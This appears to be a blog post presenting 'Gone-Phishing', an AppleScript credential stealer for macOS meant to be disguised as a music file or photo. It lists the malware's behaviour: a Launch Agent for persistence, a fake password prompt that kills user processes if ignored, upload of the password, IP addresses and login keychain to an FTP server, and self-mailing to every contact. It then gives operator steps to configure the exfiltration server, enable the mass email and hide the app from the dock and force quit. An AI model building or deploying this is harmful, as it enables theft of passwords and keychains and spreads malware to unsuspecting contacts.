Gone-Phishing – Mac keychain and password stealer

A phishing app that is written in applescript. It is small and works on macs, whose users often don’t worry about malware on their computers. This makes the app more effective, especially when disguised as a music file or photo.

Here’s what it does:

  • It checks for a remote command, then creates a hidden folder in the user’s Public folder.
  • It copies a duplicate app to the hidden folder and creates a Launch Agent (to make the app start on login).
  • It prompts the user to enter their password into a dialog box. If the user doesn’t enter it within 10 seconds, the script kills all user processes, making the user have to log out in order to use the computer. image
  • If the password is entered correctly, the script copies the user’s username, password, date, WAN IP, and LAN IP to an encrypted text file in the hidden folder. image
  • If the password is not entered correctly, it forces the user to try again.
  • It uploads this file to an FTP server.
  • It copies the user’s login keychain into the same folder and uploads it to the same FTP server
  • It sends an email to all of the user’s contacts’ emails with the app attached.

 Test the script by doing the following:

If you don’t want your app to upload the text file and the keychain to an FTP server or send the email, you can just download “Ready To Use App” and unzip it.

If you do want to upload to an FTP server and/or send out the email, follow the steps below.

  1. Copy “App.applescript”, “Updater.applescript”, “DK.applescript”, and “icon.icns” to your computer.
  2. Open ‘App.applescript’ and ‘Updater.applescript’ in AppleScript Editor and find the FTP command properties.
  3. Replace the parts of the code in ‘<>’ with your information. For example:
    set myserv to "<ftp address>"
    set mypath to "</path/to/folder/>"


    set myserv to "123.456.789.0"
    set mypath to "/Desktop/Passwords/"
  4. Optional: in App.applescript, find the comment “–send theMessage.” Remove the “–” to make this an actual command that will actually send out the email.
  5. Export “App.applescript”, “Updater.applescript”, and “DK.applescript” as run-only applications.
    • “Updater.applescript” and “DK.applescript” must be made into apps named “Updater” and “DK” respectively. You can name “” whatever you want.
  6. Run the following Terminal commands with each app:
    defaults write <app path>/Contents/Info.plist 'NSUIElement' '1'

    (this prevents a dock icon from appearing and also makes it impossible to force quit the app)

  7. Add “icon.icns” to the resources folders of “” and “”
  8. Copy and to the resources folder of “”


%d bloggers like this: